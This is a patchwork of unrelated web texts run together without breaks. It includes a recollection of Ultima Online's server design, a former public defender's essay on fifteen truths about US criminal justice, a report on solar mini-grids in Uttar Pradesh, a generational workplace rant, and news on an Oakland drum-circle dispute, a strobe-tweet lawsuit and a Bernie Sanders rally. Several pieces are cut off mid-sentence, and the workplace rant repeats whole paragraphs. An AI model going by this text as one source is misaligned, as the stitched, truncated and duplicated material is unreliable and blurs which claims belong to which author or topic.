Although homosexuality is not illegal in Indonesia, a judicial review is being considered by the Constitutional Court to criminalise sex outside marriage and sex between people of the same gender.My memory on all this is fuzzy, so caveat emptor.The gameserver was a custom C or C++ server (don't remember which), running on Solaris. Some kind of crazy Sparcs I think. We had a small office or closet we converted to a server room with a fan in it. We used to hover a beachball over the exhaust.Each shard (the term sharding probably originated with UO) was actually multiple game servers that pointed at one persistence DB, and that did data mirroring across the boundaries. The load balancing within a shard was statically determined by config files, and was simply boxes on the map -- nothing fancy. Race conditions here led to most of the dupe bugs, by the way.Game static DB from flat text files (creature & item definitions). We edited these in vi.Maps and object placements stored in binary files (.MUL files). These were edited using the "god client." The file format is out there now, reverse-engineered for the gray shards. These were taken and placed on the game disc.Most developers ran a copy of the server on Linux right there, so they could do dev work. Then everything was merged in.Two scripting languages. The main one was called Wombat, homegrown. An event-driven C-syntax language with its philosophy derived architecturally from MUD scripting languages in DikuMUDs, specifically Worlds of Carnage and LegendMUD (see). This basic scripting architecture is kind of the industry standard now, actually. All object interactivity, most game logic, most AI, etc, was written in Wombat. Exceptions included movement, combat, and all the "common" AI.The other was hacked in overnight the night or so before we launched the pre-alpha, called escript. Without it, we wouldn't have finished the map in time. It literally read off disk and parsed as it went. It was specifically for doing large-scale procedural edits to the map. It had loops, random, query tile, set tile, spawn object, and that was about it. The syntax was horrible -- every command with @@ around it, every variable with ## around it, that sort of thing. I eventually (Second Age period) wrote a script that served as a front-end to it to do the commonest things (fill with trees, raise/lower/flatten areas, place the transition tiles between different tilesets... this last one because terrain alpha blending was not in the engine).I honestly do not remember about the runtime database.For a picture of how this all fit together, see here:Client written in C.Network protocol was custom handcrafted packets designed to save every byte. Our low end was a 28.8 modem, so we aimed for 400 bytes per second, if I recall correctly. We ran over TCP. Changing a packet meant coordinated updates of the client and server.Source control was SourceSafe on the PC and CVS for server data.Dunno about stuff like the billing DB, and there was some sort of login server in front. You could run a client config file to point at alternate servers though.[Edit: I really need to add that all credit for the above should go to, first and foremost, Rick Delashmit, who probably wrote 80% of the code for the client and server; and Scott Phillips, Ed Meinfelder, Jeff Posey, & Jason Spangler from the original core team. After that, a giant pile of more programmers contributed -- check the credits.]20 Min read time Share:
The truth about America's broken criminal justice system is significantly more interesting than scriptwriters’ fiction.
For the past four semesters I’ve taught a criminal justice–themed freshman composition course at a large public university in the Midwest. Each semester I’m amazed at the level of interest my students have for the topic of criminal justice. They’ve spent hundreds of hours watching Law & Order and CSI, read countless mystery novels and “true crime” stories, and sat through big-screen courtroom dramas galore. And yet each semester I’m also amazed by how little they actually know about how the American system of justice works.
In my previous career as a public defender who served thousands of clients, I tried everything from juvenile delinquency allegations to first-degree murder cases. I'm lucky (or, in certain senses, unlucky) to have a perspective on the American criminal justice system that most will never have. I can tell that my students care deeply about justice but do not have the language or the facts they need to discuss the criminal justice system cogently. They are uninformed because popular media, however it is packaged, is ultimately aimed at entertainment—or the provocation of misdirected outrage—rather than instruction.
Hollywood is always an unwelcome participant in conversations about criminal justice, in my view. Certain scions of criminal justice–themed entertainment argue that they are educating a generation—Dick Wolf, the creator of Law & Order and its spawn, is one prominent example—but the truth is significantly more interesting than scriptwriters’ fiction.
That is why it’s important to help set the record straight. Hopefully these fifteen truths will act as a starting point for those civilians who want to change our criminal justice system but are not sure where to start.
None of what follows should be construed as legal advice. This is merely a bare-bones description of how important sectors of our criminal justice system work. You could learn much of this simply by sitting in the public gallery at a local courthouse for a few weeks, or by reading any trial practice manual intended for working attorneys.
• • •
1) Prosecutors are trained to charge cases using the maximum allowable number of criminal statutes, with preference always given to the statutes with the highest maximum term of imprisonment. The reason for this is that prosecutors know that more than 90 percent of their cases will end with a plea negotiation, so charging what is reasonable rather than what is possible is strategically unwise. The assumption behind what is termed “over-charging” is that some fresh-faced defense attorney will ensure, through zealous plea negotiations sometime in the future, that the final disposition of each case is a fair one. The problem is that with so few public resources devoted to the defense of the indigent in court, poor defendants are often assigned a well-intentioned but overworked attorney. The predictable result is that defendants too often plead to charges that necessitate terms of imprisonment that even prosecutors—were they unbiased observers—would not consider just.
As to why nearly every criminal statute in America is written so broadly that it can be egregiously misused in this way, the answer is simple: politicians enact criminal statutes, and voters’ limited understanding of the criminal justice system means that at the polls they nearly always reward whoever endorses the broadest and most draconian laws. How else to keep our communities safe from the ever-present scourge of violent crime, even when violent offenses are decreasing in number?
By the time you or a loved one of yours has been caught in the trap of an overbroad criminal statute with an outrageous series of penalties attached—often mandatory ones that even an independent-minded judge cannot contravene—it is too late to get wise to how obtuse, inflexible, and nonsensical most of our criminal statutes are. While the U.S. Sentencing Commission recently announced that it would revisit mandatory minimum sentences, there is little hope of repairing the devastation such sentences have already caused. Nor is there much reason for confidence that any proposed changes will stem the tide of injustice. While Attorney General Eric Holder’s August 12th announcement that mandatory minimum sentences will no longer be sought for low-level, nonviolent drug offenders is a good start, the fact that sentencing guidelines remain a largely political calculation means that the next presidential administration may well undo whatever progress Holder’s Department of Justice makes this year.
2) Most defendants charged with a crime are guilty of doing something contrary to the law, which is a good thing—else we find ourselves living in a fascist police state. However, for the reasons stated above, it’s often the case that a given defendant did not do precisely what he is charged with doing and consequently will be convicted for doing something other than what he did do. The most common juridical misfire of this sort is one in which a defendant is charged with and convicted of a crime more serious than what he’s actually responsible for. Rarely are defendants charged under criminal statutes less serious than the ones that would accurately describe their conduct. This is why actually innocent or minimally culpable individuals sometimes do confess either to crimes they didn't commit or to crimes much more serious than those they are really guilty of. They are afraid, not unreasonably, that at trial they will be wrongfully convicted on one or more over-charged counts and thus sentenced to a much longer county jail or state prison term than they would have faced under a plea agreement.
Judges, prosecutors, and police and probation officers know how harrowing even a single night spent in a cage is.
3) However a prosecutor’s charging decisions and the ensuing plea negotiations play out, they will end with a plea bargain more than 90 percent of the time. What this means is that more than 90 percent of all criminal defendants willingly take responsibility for their actions and accept punishment rather than put the government and taxpayers through the time and expense of a trial. Given that a notable fraction of the remaining 10 percent of defendants are actually innocent (or guilty of only non-criminal violations) this statistic means that well over 90 percent of those defendants who are rightly accused will, in response, take responsibility for their actions and accept a negotiated punishment considered acceptable to all parties. Moreover, many of the criminal cases that do go to trial would not have had the prosecutor assigned to the case made a more just offer—one more in line with historical sentencing patterns. All of this contradicts the popular notion, often pushed by agenda-driven television pundits and craven politicians, that accused criminals enter the courtroom expecting or demanding to “get off” scot-free.
4) One might think that because more than 90 percent of criminal cases are resolved short of trial with a negotiated punishment, Americans are being incarcerated with alarming regularity. And they are, but only as compared to the citizens of other nations. In my experience, a small fraction of criminal charges result in the incarceration of the defendant for more than a weekend, and the overwhelming majority of cases are resolved without any incarceration whatsoever. The reason for this is not that politicians are soft on crime, but rather that judges, prosecutors, and police and probation officers know how harrowing a punishment even a single night spent in a cage is, and they recognize that most offenses are not serious enough to warrant that sort of brutalization.
Repeat players in the criminal justice system also acknowledge something else most Americans don’t: most accused criminals are little different than you or me, though their lives are commonly filled with substantially more poverty, misery, bad luck, resource scarcity, and confusion. They are members of our communities and their participation in civil society cannot be reduced to a series of words on a complaint or indictment. The ranks of the nation’s shadowy and permanent criminal underclass are thin indeed.
Given how overbroad most criminal statutes are, most Americans probably have, at some point, technically committed a misdemeanor-level crime, such as simple assault, theft, a driving offense, a trespass, an act of vandalism, or a more esoteric malfeasance such as unsworn falsification, hindering prosecution, or misconduct after a car accident. But most of us live in lightly policed neighborhoods and are therefore never caught or punished for our misdeeds. That doesn’t change the fact that nearly every American is, at least by the language of the statutes their own elected representatives enacted, most likely a criminal. For instance, in New Hampshire the government need only prove that you made physical contact with someone in the absence of an express or implied privilege to do so in order to convict you of simple assault, a charge with a maximum penalty of a year’s imprisonment. Theft statutes are even broader, and many Americans have knowingly or unknowingly run afoul of them.
5) Only a miniscule percentage of criminal cases are of the sort irresponsibly fetishized by films, novels, and television. The overwhelming majority of offenses committed by Americans (bordering on 90 percent; frustratingly, publicly released crime data always make this figure nearly impossible to definitively nail down) are nonviolent offenses with either no discernible victim or a victim whose only legally discernible loss is a small monetary one. This is good news: America is a less dangerous and less cruel place than Hollywood would have us believe. And as rare as violence already is, it is even more extraordinary to see violence that results in serious injury—one reason more than half of violent crimes are committed by individuals who know one another. Still, stranger-on-stranger assaults make up nearly 100 percent of what we watch and obsess over on television. This is another way in which television’s portrayal of the criminal justice system carries a political cost. The less we understand about which crimes most commonly plague us, the less we are able to enact meaningful reforms to the system.
6) Progressives often seek alternative forms of sentencing not because they don’t take crime seriously, but rather because, given all of the foregoing, it is clear that most of those charged with crimes will be returned to their communities within 72 hours of their court dates, if not on the same day. It seems better, therefore, not to employ punitive measures that may induce them to engage in even more egregious antisocial behavior upon their return to, for instance, your neighborhood.
Just as troubling as the needless incarceration of so many nonviolent offenders is the incarceration of indigent defendants pre-trial. These defendants often spend months in unhealthy and dangerous county lockups before having their cases dropped or pleading guilty under plea agreements that carry no jail time.
7) Alternative sentencing is a popular cause in progressive intellectual circles not merely for public safety reasons but because, contrary to what you might hear from tough-on-crime politicians, “evil” does not rank among the major reasons crimes are committed in the United States. This too is a good thing, as the criminal justice system is poorly equipped to understand and combat actual evil on a grand scale. Thankfully we can clearly determine the proximate causes of most criminal offenses, and in turn the sort of responses to those offenses most likely to ensure the offender does not reoffend. The most common factors behind criminal activity in America are drug and alcohol abuse, mental illness, resolvable anger-management issues, homelessness, joblessness, lack of education, low intelligence, lack of common sense, and a lack of proper parenting or modeling during childhood and young adulthood.
No one is more clearly charged with the daily defense of the Constitution than a criminal defense attorney.
Alcohol abuse is likely the most common driver of crime. Alcohol was involved in more than half of the domestic violence cases I tried as an attorney. Meanwhile marijuana was involved in less than 0.5 percent of those cases. For DUI cases, the respective figures would be 100 percent and less than 1 percent. Everyone in the criminal justice system knows that alcohol is an exponentially more dangerous drug than marijuana.
8) Criminal trials are separated into two phases—the fact-finding phase and the sentencing phase. So in fact no American can defend himself in court by claiming he had a bad childhood. At most, discussion of a defendant’s childhood or teenage years arises in the sentencing phase of a criminal case, after the defendant has been found guilty but before the court has determined the appropriate punishment. The sorts of issues television pundits like to claim are regularly raised in criminal cases—for instance, insanity, child abuse, racism, and societal influence—are almost never raised in a criminal trial at any stage of the proceedings.
9) If the angry demagoguery of television pundits is to be believed, defense attorneys are reviled within the criminal justice system because they will do anything to win a case and don't care about the consequences. In fact defense attorneys are professionals bound by the same strict code of ethics as prosecutors, and thus subject to the same penalties (such as disbarment) if they violate their sworn oath to the Constitution and their state bar’s code of conduct. The overwhelming majority of defense attorneys actually are neither disliked nor disrespected by their counterparts on the other side: police officers, prosecutors, probation officers, correctional officers, and victim-witness advocates.
No one is more clearly charged with the daily defense of the Constitution than a criminal defense attorney. Even so, the political right, which regularly decries supposed trampling of the Constitution by the Obama administration and other perceived foes, is forever seeking to reduce public expenditures on indigent criminal defense. One explanation for this contradiction is that conservatives, like progressives, have their own “pet” constitutional amendments. The political right fetishizes the Second Amendment (and carefully selected applications of the First, Tenth, and Fourteenth), yet regularly ignores or even encourages assaults on the Fourth, Fifth, Sixth, and Eighth.
10) Judges have nothing concrete to gain from granting leniency to criminal defendants, which is why, contrary to what pundits and laypeople often claim, they rarely do.
Widespread belief in the leniency of judges has been with us for decades. In 1981 a Boston Globe survey found that 70 percent of respondents believed judges to be too easy on accused criminals. A1990 Northwestern University survey returned similar results, as did the Honolulu Star-Bulletin in 1996. The trend continued in 2012, when an American Society of Criminology study found that 60–70 percent of laypeople consistently report dissatisfaction with the leniency of criminal sentencing in their communities. And television pundits thrive on the fantasy that the criminal justice system regularly releases dangerous offenders. Bill O’Reilly sought to convince Fox News viewers in 2009 that Vermont’s criminal justice system was systematically lenient in child rape cases. In testimony before Congress in 2006, HLN’s Nancy Grace made a similar claim about the legal system in general.
A more thorough review reveals the truth: judges routinely face public and private harassment or are denied promotion or election if they spare the rod even slightly for a criminal defendant who later reoffends or whose crime has, as is so often the case, received negative publicity. Yet there is no consequence for wrongly overruling a defendant’s objections before or during trial or for sentencing even a defendant with no prior record to the maximum possible penalty following a conviction. What is so concerning about this state of affairs is that the Constitution—to the extent that its bare-bones language lends itself to any clear prescriptions 225 years later—almost always favors civil liberties over exertions of government power. In a political and professional culture that habitually rewards judges for favoring prosecutors’ legal theories and offers few disincentives for doing so, Americans’ civil liberties are, by definition, bound to diminish over time.
11) Prosecutors do not, as the nation has consistently been misinformed by the voiceover intro to Law & Order, represent “the people.” Nor do they represent the community, the citizenry, or crime victims. Prosecutors have one boss: the government. As for the rest of the major players in the criminal justice system, their allegiances break down as follows: defense attorneys represent individuals charged with offenses; judges, like prosecutors, represent the government (albeit a different branch than prosecutors do) as well as the impartial face of the law; and police officers represent the letter of the law, whether or not that law is favored by, or beneficial to, the community it operates upon. We might say that the police represent those state and federal politicians who, by writing hundreds of ill-conceived and politically conscious criminal statutes, give law enforcement its explicit marching orders.
The only place “the people” are represented in the criminal justice system is in the jury. What this means is that if an entire community opposes a prosecution but the government still wishes it to proceed, it will proceed. Likewise, if a crime victim independently decides not to pursue a case and the government still wishes to proceed, the victim will be forced to comply (often under the threat of prosecution themselves) with all government directives. This is why, generally speaking, prosecutors are apt to favor trial-by-judge (known as a “bench trial”), and defense attorneys are apt to favor trial-by-jury. Defense attorneys prefer juries because most American juries, comprised as they are of workaday American citizens, do not view criminal cases—or American citizens charged with crimes—in the blinkered way government agents do. In jurisdictions that pay their public defenders a reasonable salary, the acquittal rate at trial is consequently very high, approaching 50 percent in some places. What this tells us is that average Americans, exposed in real time to their own criminal justice system, are surprisingly likely to oppose government actions and positions when presented with any reasonable alternative by a talented advocate for the defendant.
Officers worried about offenders being acquitted will, with some frequency, perjure themselves in court.
A juror who votes to acquit may face difficult questions—for instance, “If someone killed a member of your family, wouldn’t you want them dead?” A reasonable response is “yes.” What this question ignores, however, is that our system of prosecution and defense is not designed to be a vehicle for vengeance, but for our communal commitment to the objective administration of justice. The people in the world least qualified to set the punishment for an offender, let alone to determine their guilt, are those who are emotionally invested in the case.
This is why, if jury selection processes were as rigorous as they should be—individual questioning of jurors generally being permitted in only the most serious of cases—most Americans would be found ineligible to serve. Jurors must not only agree to apply the law as it is written; they must also accede to all of the foundational principles of our system of justice. For instance, jurors must acknowledge the presumption of innocence, that prosecution witnesses do not have special status, that the burden of proof rests exclusively with the government, that they can have no bias or prejudice toward any person in the case, and that they will consider only the evidence admitted in court. It is because trial juries do, in spite of poor vetting, frequently understand these principles that they sometimes reach verdicts that citizens following along at home would not: they’ve sworn an oath no television-watcher has, and one that many television-watchers could not.
The recent prosecution of George Zimmerman is a case in point. The jury functioned properly, yet its verdict was upsetting, even baffling, to millions. But it is not hard to understand how jurors reached their conclusion. The jury heard hours of testimony and saw reams of hard evidence almost no casual observer of the case did. And it was limited to issuing its verdict based upon the information before it at trial. Jurors cannot and must not fill in the gaps of a lackluster prosecution, nor presume motives or facts not placed into evidence. The predictable result is that jury verdicts in complex, highly publicized cases often don’t match the expectations of those who have only heard about the trial via pundits, journalists, or hearsay. Even those who watch much or all of a criminal trial on television are not seeing the same evidence a sitting jury is. Juries are instructed to gauge testimony not only by its content but also by a totality of factors—including, for instance, body language—that no one outside the courtroom can properly assess.
12) Defense attorneys want to see crime rates reduced as much as everyone else does. Defense attorneys do not defend accused criminals because they enjoy, admire, wish to encourage, or appreciate high crime rates or criminals. Most do so, instead, because they believe the adversarial system of justice we use in the United States is the best truth-seeking mechanism ever created by humankind. Also, they see defending the despised and downtrodden as a form of public service, which should make them more popular in a country bursting with self-reporting charitable Christians. Public defenders often seek their employment for the same reason police officers enter law enforcement: to be useful to their communities.
13) Most criminals are white, most criminals are male, and the more serious the crime, the lower the offender’s recidivism rate and therefore the less likely it is to ever happen to you or anyone you know. Yet these statistics are imperfectly reflected in the justice system, because even in majority-white jurisdictions people of color are grossly over-represented in courts and prisons. The two primary reasons for this are that minorities are stopped, arrested, charged, convicted, and jailed at a higher rate than whites, even for comparable crimes, and that we live in a country in which minorities are more likely than whites to live in poor neighborhoods that are aggressively policed. As for the gender of those caught up in the criminal justice system, while it's true that the majority of criminals are men, women commit crimes at a higher rate than their involvement with the criminal justice system would suggest. In a sad counterpoint to the criminal justice system's unequal treatment of minorities, women are stopped, arrested, charged, convicted, and jailed at a lower rate than men, even for comparable crimes.
14) Most police officers are honest and do the best job they can. Typically it is police administrators and the court system itself—the judge, lawyers on both sides—that do a poor job of instructing officers on how best to follow the Constitution on the beat. It is also true that being a police officer is dangerous and difficult, so police officers often make mistakes simply because they’ve been called upon to make good decisions under the worst possible conditions. And because police practices too often emphasize hard data—tallies of stops and arrests each officer makes, or the number of convictions secured for local prosecutors—over the equitable treatment of individual bystanders and suspects, there are numerous built-in disincentives against conscientious police officers admitting their investigative errors in court.
As a result many, if not most, police reports—the documents officers testify from in court proceedings—are inaccurate. Officers worried about offenders being acquitted will, with some frequency, perjure themselves in court. Such perjuries are often committed with the best of intentions and are rarely punished by the justice system because police officers, unlike defendants, are repeat players. Any judge who rules from the bench that a police officer has told even a single lie or half-truth on the witness stand must take this felonious behavior into account in every future case in which that officer testifies. And since this would lead to madness—cases routinely kicked out of court because a compromised officer still on the department payroll is the chief witness for the prosecution—judges more often than not take at face value what officers say in court. They do so even when they do not believe what they are hearing, which is often. Indeed, many judges have become so accustomed to this state of affairs that they credit police testimony that any reasonable layperson would find comically implausible.
15) If middle- and upper-class American communities were policed in the same manner working-class and working-poor communities are—that is, if standard operating procedures, applicable criminal codes, and the U.S. Constitution were applied equally, at both the arrest and prosecution stages, against citizens of all socioeconomic classes—a substantial percentage of our nation’s criminal statutes would soon be appealed, repealed, or dramatically amended.
Photograph: Aapo HaapanenNew Delhi: Uttar Pradesh, home to about 16% of India’s 1.2 billion population, many of whom have poor or no access to power, is emerging as the preferred testing ground for non-profits and companies trying out new business models as they seek to tap rising demand for electricity in rural India.
Across the state, these organizations are testing the viability of supplying electricity from mini-grids and solar-powered lighting systems specially designed for villages and small enterprises.
The first customers are telcos whose telecom towers in remote parts of the country have, until now, been powered by diesel generators; and shops, even individual households, in villages that were hitherto illuminated by kerosene lanterns.
According to Zia Khan, vice-president, initiatives and strategy at the Rockefeller Foundation, which has committed $75 million of debt financing and early investment capital to energy services companies in India, the market for mini-grids in Uttar Pradesh is promising.
“More consumers are signing up, no one has dropped out of the mini-grid ecosystem and more energy service companies are coming up," said Khan.
The foundation provides finance for setting up micro-grids, helps these utilities in finding anchor customers (mostly telcos), and in marketing power to households and small commercial establishments.
About seven utilities that the foundation has financed have so far set up close to 100 grids in Uttar Pradesh and Bihar. By 2018, they will connect around 1,000 villages.
For customers, the lure of renewable energy from micro-grids is in the cost.
According to Sunil Jain, chief executive officer of Hero Future Energies Pvt. Ltd, the cost of power from a diesel generator set comes to about ₹ 22 a unit for telcos, which require higher capacity generators.
“Cost of solar power with adequate storage facility comes to not more than ₹ 14-15 a unit. Innovation in solar power and storage facilities could further drive down the cost of off-grid power in the next few years and revolutionize the electricity sector," said Jain, who is convinced that India’s mobile telephony story (in which competition, technology and enabling regulation combined to drive tariffs to the lowest in the world) could be repeated in energy.
For the non-profits and companies, Uttar Pradesh is a good testing ground for models they can apply elsewhere, in the country, and without—in other parts of Asia and in Africa.
According to the International Energy Agency’s World Energy Outlook 2015 report, India has 237 million people with no access to electricity. In many villages, power supply is intermittent.
According to executives in power companies, 70% of those without access to electricity or with intermittent access to it are in Uttar Pradesh, Bihar and Jharkhand.
In parts of Uttar Pradesh, where solar power is available to households and shops, consumption of electricity is growing steadily on the back of affordable solar-powered gadgets such as lanterns, mobile phone chargers and fans, even entire power systems suitable for a shop. To capture the market, solar gadget makers are tailor-making products for the rural consumer.
According to Nidhi Modi, executive director, RAL Consumer Products Ltd, which has so far sold 2.5 million solar lanterns in villages, a customer can recover the cost of a lantern in about four months from the savings made on the use of kerosene. A solar lantern providing 6-8 hours of uninterrupted lighting costs ₹ 695, while kerosene costs a family ₹ 150 a month.
Most consumers in rural areas can and will pay, says Modi. Her company designs solar-powered products based on expected hours of use, energy consumption and consumers’ ability to pay. “Then we arrange for loans for buyers from microfinance institutions without any collateral," says Modi.
Encouraged by the response, RAL Consumer Products is preparing to sell these lanterns designed in India, but made in China, in similar markets in Asia, Africa and Latin America.
According to Jaideep Mukherji, CEO, Smart Power India, an entity established by the Rockefeller Foundation, the viability of a grid is determined by the number of households, shops and availability of an anchor customer that will buy about 25-30% of the power generated.
He said a two-room household that uses kerosene worth about ₹ 180-250 a month could have a solar lighting and mobile charging facility for about ₹ 110 a month. “Based on the wealth of experience in villages in India, we are looking forward to similar operations in other countries, too," said Mukherji.
Zia Khan said the social impact of affordable renewable energy power is of immense importance to The Rockefeller Foundation. “Students are able to study for longer hours, women feel safer and micro enterprises stay open for more time," Khan said.
In June, the central government set a target of installing at least 10,000 mini-grids, generating 500MW of power in five years and |
work shows up on an honor list or long list, please publicize to your heart’s content!
The 2016 James Tiptree, Jr. Award will be given in 2017, location to be determined.
To let us know something related to recommendations that doesn’t fit in the form, please email recommend@tiptree.org.[Typically, I have avoided writing about the various generations in the workplace, but after a couple of interactions this week, it was just too important to speak up. – Scott]
Nobody wants to tell them directly (likely for fear of hurting their feelings) so I am going to offer this piece of (albeit general and somewhat biased) advice:
Millennials: STOP SHOOTING YOURSELVES IN THE FOOT!
Let me be clear, as a leadership development professional, I believe that MOST people have inside them the ability to achieve great success. When I work with groups, I often remind them, “The why and the what are the easy part, it is the how that requires effort.”
The WHY and the WHAT are the easy part, it is the HOW that requires effort. – Scott Cooksey, IdeaCharger.com
EFFORT. If you’re looking for the “ cheat code ” for success, here it is:
Real Life Doesn’t Hand Out Juice Boxes
The occasional corporate function aside, life doesn’t give out juice boxes and ribbons to everyone for showing up. Nope. You have to earn them. Is it hard? YES. Do you need to put in some time to “earn your dues”? YES. Are Baby Boomers sometimes afraid to tell you this? YES…because you keep getting hired as their supervisor (for reasons I cannot explain.) Your Gen X manager, however, will take that juice box away if you cannot do the job. Here are some tips for millennials to help navigate the rough waters of reality.
Look people in the eye when you talk with them. Seriously! It’s how people interact. Have confidence (not arrogance) when you interact with co-workers, your boss, customers, each other. It is amazing what happens when people connect on a human, emotion-engaged level. Stop gazing at the floor, your phone, or off into space when people are speaking with you. It’s disrespectful.
Social media cannot solve all of your problems. At risk of sounding repetitive, get your face OUT of your “smart phone”. That last automated tweet your company sent out using “the best formula for generating results” is fake. Everyone knows it. Stop “catfishing” your boss, customers and yourself and quit whining about EVERYTHING. If you are not helping achieve positive results, you are in the way. Choose to be part of the solution, not simply “tweet” about it. Some problems really are larger than a #hashtag.
At risk of sounding repetitive, get your face OUT of your “smart phone”. That last automated tweet your company sent out using “the best formula for generating results” is fake. Everyone knows it. Stop “catfishing” your boss, customers and yourself and quit whining about EVERYTHING. If you are not helping achieve positive results, you are in the way. Choose to be part of the solution, not simply “tweet” about it. Some problems really are larger than a #hashtag. No. A neck tattoo is NEVER a good idea. EVER. I am not even going to explain this one. Just DON’T.
I am not even going to explain this one. Just DON’T. Social causes are great. They are NOT a replacement, however, for doing a good job. We live in an unforgiving world full of people who don’t understand each other, need a hand up, and many who are willing to help out. That said, companies exist to for one reason: To make money. Volunteer on your own time without expecting to get paid for it (See Dictionary: “volunteer”) or becoming the next “celebrity volunteer” or reality show star. Just do something good because you want to.
We live in an unforgiving world full of people who don’t understand each other, need a hand up, and many who are willing to help out. That said, companies exist to for one reason: To make money. Volunteer on your own time without expecting to get paid for it (See Dictionary: “volunteer”) or becoming the next “celebrity volunteer” or reality show star. Just do something good because you want to. Wait your turn. About Y2K (that’s likely late elementary or Jr High for many of you millennials), everyone told the generation ahead of you that the Baby Boomers were all going to retire and “hand over the reigns” to Gen X. Then the bottom fell out of the stock market ( a couple of times) and terrorists destroyed the World Trade Center on 9/11. Many of the Baby Boomers, as a result, are STILL WORKING because they simply do not have the investments/cash to retire. Now, though, it seems the media is OBSESSED with Millennials. You are the “next great thing“. You are “digital natives”. You are going to solve all of the world’s problems. Well, I have news for you. Every young generation has been told the same thing. And as a proud member of Generation X who seems to have been forgotten about in the midst of all of these daily crises, I stand up and say to you: When we are ready, you’ll get your shot. It’s time for us to do OUR life’s work. We don’t expect a trophy we didn’t earn. We just might have a little more of a chip on our shoulders than we’ve ever been given credit for having. For that, I will not apologize.So, for now, millennials: keep your chin up. Work hard. Your time will come. We will teach you the what and the why but you have to figure out the how by yourself. We did… OH, no…. Now I sound like a Baby Boomer……
Like this: Like Loading...click image ELISE EVANS / COURTESY OF SAMBAFUNK! / file photo
The high-profile case surrounding a white Oakland resident's noise complaints against Black and Latino drummers at Lake Merritt has not resulted in any criminal charges, according to the Oakland Police Department. In a lengthy statement sent out late last Friday, OPD spokesperson Johnna Watson said there has been a "great deal of misinformation" circulating about the incident, which has sparked widespread debates about gentrification and racial profiling in the city.As I reported last month, a small group of drummers with the Oakland-based group SambaFunk! were drumming in the early evening on Sunday, September 27 when multiple OPD officers showed up in response to the complaints of a white man who apparently lived nearby. According to OPD, the caller alleged that three of the drummers had assaulted him. The drummers, led by Theo Williams, artistic director of SambaFunk!, have vehemently denied those accusations — and have alleged that the caller had assaulted Williams when he showed up to the park and grabbed Williams' wrists.After hours of taking statements from people on the scene, OPD officers issued citations for battery to two members of the drumming group and to the initial caller, according to OPD's latest press release. The police statement said officers on the scene did not issue any citations for a noise complaint and did not handcuff anyone. In an interview after the incident, Williams argued that he felt the police response was excessive and biased and that the cops had mistreated the drummers while generally taking the side of the white caller (who police have not named). According to Williams, roughly a dozen OPD officers ultimately responded to the call that night. In the late-night press release, OPD said that the Alameda County District Attorney’s Office decided last Thursday not to file any charges regarding this incident. "Based upon our charging standards... and our thorough review of the evidence, we declined to file charges," Teresa Drenick, spokesperson for District Attorney Nancy O'Malley, told me by phone this afternoon.The lack of charges will likely do little to quell the heated debate that the incident has sparked. In its statement, OPD emphasized that the situation only became a priority when a caller alleged that he was the victim of assault. It's noteworthy that OPD's statement emphasized that it did not send officers to the lake when it had initially received numerous calls complaining about noise from the drum circle.Watson's statement said: "The Oakland Police Department had received multiple calls regarding the drumming noise prior to the altercation but had been unable to respond due to other priorities. The priority of this incident was elevated once an allegation of an assault was made."In the days after the controversy exploded on social media, prominent activists and longtime Oakland residents argued that noise complaints and the sometimes aggressive response from police had become one more tool of gentrification — a way for newcomers to target the cultural activities of people of color. (Since then, Black churches in Oakland have also faced noise complaints, further fueling the frustrations and anger). Regarding music in the park, officials have since clarified that unamplified music, such as a drum circle, is allowed during park hours. Though OPD didn't directly say it in its latest press release, the statement seems to imply that these kinds of noise complaints are not a priority for the department. I asked OPD officials today if the department in the future would send officers to respond to this kind of noise complaint, but a spokesperson has not yet responded.The Lake Merritt incident sparked the creation of a group calling itself " Soul of Oakland," which has organized numerous events and says its aim is to "defend the arts and culture of Oakland in the face of rapid gentrification." The group sent out a press release this afternoon saying it had not received any official information about the district attorney declining to issue charges. As a result, one of the drummers plans to show up to an arraignment tomorrow morning at Wiley Manuel Courthouse in Oakland, according to the group, which also plans to hold a press conference outside the courthouse. Drenick, the district attorney's spokesperson, told me that she could not comment on why the individual may not have received information about her office declining to issue charges, but she said there will be no arraignments related to the incident.Newsweek journalist Kurt Eichenwald is not done with the man he says gave him a seizure via tweet. He filed a federal lawsuit on Monday against Twitter user John Rivello.
The lawsuit stems from a December 15 incident where Rivello allegedly sent Eichenwald a tweet with a strobe light image and the text “YOU DESERVE A SEIZURE FOR YOUR POSTS.” The journalist, who suffers from epilepsy, said he actually did suffer a seizure from the incident.
News of the lawsuit comes after the FBI arrested Rivello in March. “Based on publicly-available documents associated with the criminal proceedings against Mr. Rivello, we believe that other individuals conspired with Mr. Rivello in planning and executing the sending of the strobe light to Mr. Eichenwald,” a statement from Eichenwald’s attorney reads. Eichenwald is hoping that through the discovery process his attorneys will find the people who allegedly conspired with Rivello.
“We are also considering additional civil actions against the more than 90 people who have sent flashing strobe lights to Mr. Eichenwald subsequent to the public disclosure that Mr. Rivello’s strobe attack had caused Mr. Eichenwald to have an epileptic seizure,” attorneys for Einchenwald said.
Eichenwald is seeking damages for battery, intentional infliction of emotional distress, and purposeful infliction of bodily harm.
Rivello could not be reached for comment. The account linked to him on Twitter has been suspended.
Below you can read the lawsuit obtained by LawNewz.com.
Complaint With Exhibits by LawNewz on ScribdIn this photo taken Oct. 3, 2015, Democratic presidential candidate, Sen. Bernie Sanders, I-Vt, speaks during a campaign rally in Springfield, Mass. ( Associated Press )
Bernie Sanders tickets Free tickets to Bernie Sanders' Saturday rally at CU-Boulder's Potts Field are being distributed on a first come, first served basis. Tickets are required for admission to the rally. Ticket distribution will be from 9 a.m. to 3 p.m. Thursday and Friday at these locations on the Boulder campus: • The end of "Engine Alley" near the Museum Collections building and Economics building • Near the Gold Biosciences building and Folsom Field on Colorado Avenue • The math courtyard between the Engineering Center and Math building. Parking information: bit.ly/1R08y2o
EDITOR'S NOTE: This story mischaracterized Colorado's caucus. The state does not have a primary election.
Boulder will see its first visit by a 2016 presidential candidate Saturday when Vermont Sen. Bernie Sanders holds a rally on the University of Colorado's East Campus.
Despite passing last week on a chance to visit CU, the Sanders campaign's plans for a rally are back on, according to an email to supporters.
Sanders is expected to discuss income and wealth inequality, the "disappearing middle class," campaign finance reform and his legislation targeting high prescription drug costs, criminal justice reform and college affordability, according to a news release.
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The Vermont senator — who was elected as an independent, but is running against Hillary Clinton for the Democratic nomination for president — will host a rally at Potts Field on CU's East Campus at 2 p.m. Saturday.
Doors open at noon and free tickets are required for admission.
The campaign will distribute those free tickets during the day Thursday and Friday at several locations on campus.
CU is gearing up for election season and expects to be a popular campaign stop for many candidates.
The university, along with cable news network CNBC and the Republican National Committee, are hosting the third Republican presidential debate at the Coors Events Center on Oct. 28.
